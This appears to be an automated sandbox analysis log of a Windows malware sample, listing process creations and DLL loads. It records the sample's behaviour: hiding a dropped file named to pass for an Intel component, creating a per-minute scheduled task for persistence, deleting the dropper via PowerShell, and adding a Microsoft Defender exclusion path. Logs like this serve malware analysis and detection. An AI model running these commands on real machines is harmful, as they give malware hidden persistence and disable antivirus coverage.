Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_5.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_4.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_3.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_2.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_1.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +H "in.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\in.exe "in.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\attrib.exe attrib +H +S C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\attrib.exe attrib +H C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.0.0.1; del in.exe	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe explorer.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.1.10.1
Source: C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\xxzyi"
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018821001\3514655e0a.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018821001\3514655e0a.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018821001\3514655e0a.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018821001\3514655e0a.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018821001\3514655e0a.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018821001\3514655e0a.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018821001\3514655e0a.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018821001\3514655e0a.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018821001\3514655e0a.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018821001\3514655e0a.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018821001\3514655e0a.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018821001\3514655e0a.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018821001\3514655e0a.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018821001\3514655e0a.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018821001\3514655e0a.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018821001\3514655e0a.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018821001\3514655e0a.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018821001\3514655e0a.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018821001\3514655e0a.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018821001\3514655e0a.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018821001\3514655e0a.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018821001\3514655e0a.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\mode.com	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\mode.com	Section loaded: ureg.dll	Jump to behavior
Source: C:\Windows\System32\mode.com	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Section loaded: apphelp.dll
Source: C:\Windows\explorer.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\explorer.exe	Section loaded: userenv.dll
Source: C:\Windows\explorer.exe	Section loaded: msvcp140.dll
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\explorer.exe	Section loaded: cryptbase.dll
Source: C:\Windows\explorer.exe	Section loaded: wininet.dll
Source: C:\Windows\explorer.exe	Section loaded: powrprof.dll
Source: C:\Windows\explorer.exe	Section loaded: umpdc.dll
Source: C:\Windows\explorer.exe	Section loaded: uxtheme.dll
Source: C:\Windows\explorer.exe	Section loaded: mswsock.dll
Source: C:\Windows\explorer.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\explorer.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\explorer.exe	Section loaded: dnsapi.dll
Source: C:\Windows\explorer.exe	Section loaded: napinsp.dll
Source: C:\Windows\explorer.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\explorer.exe	Section loaded: wshbth.dll
Source: C:\Windows\explorer.exe	Section loaded: nlaapi.dll
Source: C:\Windows\explorer.exe	Section loaded: winrnr.dll
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\explorer.exe	Section loaded: explorerframe.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1018823001\212ab81242.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1018823001\212ab81242.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1018823001\212ab81242.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1018823001\212ab81242.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1018823001\212ab81242.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1018823001\212ab81242.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1018823001\212ab81242.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1018823001\212ab81242.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1018823001\212ab81242.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1018823001\212ab81242.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1018823001\212ab81242.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018823001\212ab81242.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1018823001\212ab81242.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1018823001\212ab81242.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018823001\212ab81242.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1018823001\212ab81242.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1018823001\212ab81242.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1018823001\212ab81242.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1018823001\212ab81242.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1018823001\212ab81242.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1018823001\212ab81242.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1018823001\212ab81242.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1018823001\212ab81242.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1018823001\212ab81242.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018823001\212ab81242.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018823001\212ab81242.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1018823001\212ab81242.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1018823001\212ab81242.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Section loaded: dhcpcsvc6.dll
